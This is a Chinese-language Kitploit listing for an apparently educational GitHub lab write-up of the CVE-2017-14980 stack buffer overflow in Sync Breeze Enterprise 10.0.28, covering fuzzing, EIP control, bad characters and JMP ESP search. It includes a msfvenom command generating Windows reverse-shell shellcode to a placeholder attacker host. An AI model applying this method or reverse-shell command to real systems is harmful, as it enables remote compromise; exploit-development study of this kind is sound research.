Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-14980 — 在受控实验室环境中研究经典栈缓冲区溢出漏洞,用于教育目的。 | Kitploit
工具/GitHubGitHub/godoy-sec/cve-2017-14980
漏洞利用调试器模糊测试学习与教育Shellcode 生成Payload 开发二进制利用实验室与实践
GitHubgodoy-sec/cve-2017-14980

CVE-2017-14980

在受控实验室环境中研究经典栈缓冲区溢出漏洞,用于教育目的。

查看仓库
1241个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2017-14980

Sync Breeze Enterprise 10.0.28 - 缓冲区溢出研究

目标

在受控的实验室环境中,研究经典的基于栈的缓冲区溢出漏洞,用于教育目的。

本项目旨在更好地理解:

  • 应用程序模糊测试
  • 崩溃分析
  • EIP 控制
  • 坏字符识别
  • 内存破坏
  • Shellcode 执行流程
  • 基础漏洞利用开发方法

环境

  • Windows 10 虚拟机
  • Sync Breeze Enterprise 10.0.28
  • Immunity Debugger
  • Mona.py
  • Python

实验室设置

第一步是在一台配置用于漏洞研究和漏洞利用开发的 Windows 10 虚拟机中安装 Sync Breeze Enterprise 10.0.28。

环境被隔离,以确保安全且受控的测试。

两台虚拟机(目标机和攻击机)均配置为使用 桥接网络适配器模式,以便在漏洞利用过程中允许系统之间进行直接网络通信。

Sync Breeze 客户端

Sync Breeze 客户端

Sync Breeze 登录页面

Sync Breeze 登录页面


方法论

1. 信息收集

配置了调试工具,用于分析应用程序在运行时的行为,并观察崩溃条件。


2. 模糊测试

向应用程序发送大量字节序列,以确定触发崩溃所需的大致缓冲区大小。


3. 漏洞验证

在确定崩溃阈值后,使用发现的载荷大小再次测试应用程序,以确认该漏洞。


4. EIP 控制

确定了覆盖指令指针(EIP)所需的确切偏移量。

生成唯一模式:

/usr/bin/msf-pattern_create -l <SIZE>

识别偏移量:

/usr/bin/msf-pattern_offset -l <SIZE> -q <EIP_VALUE>

其中:

  • <SIZE> = 模糊测试期间发现的载荷长度
  • <EIP_VALUE> = 观察到的覆盖 EIP 的 4 字节值

EIP 控制截图

EIP 控制


5. 坏字符分析

识别了坏字符,以确定哪些字节无法被应用程序安全处理。

坏字符文件


6. 返回地址识别

在没有启用 ASLR 的模块中定位合适的 JMP ESP 指令。

枚举已加载的模块:

!mona modules

搜索 JMP ESP:

!mona find -s "\xff\xe4" -m <MODULE_NAME>

由于存在静态内存地址,优先选择了应用程序特定的 DLL。

Mona JMP ESP 截图

Mona JMP ESP


7. 执行测试

验证了载荷执行流程,以确保正确重定向到受控缓冲区。


8. Shellcode 生成

生成 Shellcode 时排除了先前识别的坏字符。

msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<PORT> EXITFUNC=thread -b "BAD_CHARS" -f c

在 Shellcode 之前添加了 NOP 滑板(\x90),以提高载荷执行的可靠性。

载荷执行截图

载荷执行


9. 最终漏洞利用开发

最终的漏洞利用已在隔离的实验室环境中成功组装并测试。

免责声明

本项目严格出于教育和研究目的,在隔离的实验室环境中开发。

下载工具